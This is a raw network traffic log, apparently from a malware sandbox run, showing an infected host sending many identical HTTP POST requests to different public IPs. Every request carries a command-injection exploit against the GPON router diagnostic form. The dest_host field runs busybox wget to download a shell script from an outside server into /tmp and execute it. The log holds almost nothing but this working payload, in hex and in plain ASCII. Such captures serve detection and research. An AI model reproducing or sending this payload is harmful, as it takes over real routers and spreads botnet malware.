Mar 21, 2024 05:26:16.216588974 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
844	192.168.2.23	57122	212.155.100.40	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:16.216598034 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
845	192.168.2.23	60464	178.52.188.23	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:16.216645956 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
846	192.168.2.23	33640	109.56.9.52	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:16.216661930 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
847	192.168.2.23	50174	2.12.89.149	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:16.216662884 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
848	192.168.2.23	35800	109.113.153.173	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:16.216716051 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
849	192.168.2.23	45148	94.29.250.193	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:16.216725111 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
850	192.168.2.23	59412	109.98.154.30	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:16.216753006 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
851	192.168.2.23	59864	118.176.166.217	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:16.216761112 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
852	192.168.2.23	51766	42.111.140.189	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:16.216766119 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
853	192.168.2.23	53572	212.64.156.209	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:16.216778994 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
854	192.168.2.23	46688	178.204.79.16	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:16.216787100 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
855	192.168.2.23	34156	109.171.149.130	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:16.216792107 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
856	192.168.2.23	46802	79.57.105.99	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:16.216834068 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
857	192.168.2.23	56226	118.77.232.74	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:16.216844082 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
858	192.168.2.23	45094	109.108.117.15	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:16.216861963 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
859	192.168.2.23	59648	210.0.86.124	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:16.216870070 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
860	192.168.2.23	57274	5.88.239.110	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:16.216885090 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
861	192.168.2.23	56878	2.88.175.33	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:16.216914892 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
862	192.168.2.23	52820	79.95.26.38	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:16.216937065 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
863	192.168.2.23	54278	79.110.252.21	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:16.216973066 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
864	192.168.2.23	52676	210.207.187.250	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:16.216986895 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
865	192.168.2.23	55558	37.30.104.133	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:16.217019081 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
866	192.168.2.23	43618	210.190.251.128	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:16.217019081 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
867	192.168.2.23	50350	37.108.54.69	443

Timestamp	Bytes transferred	Direction	Data
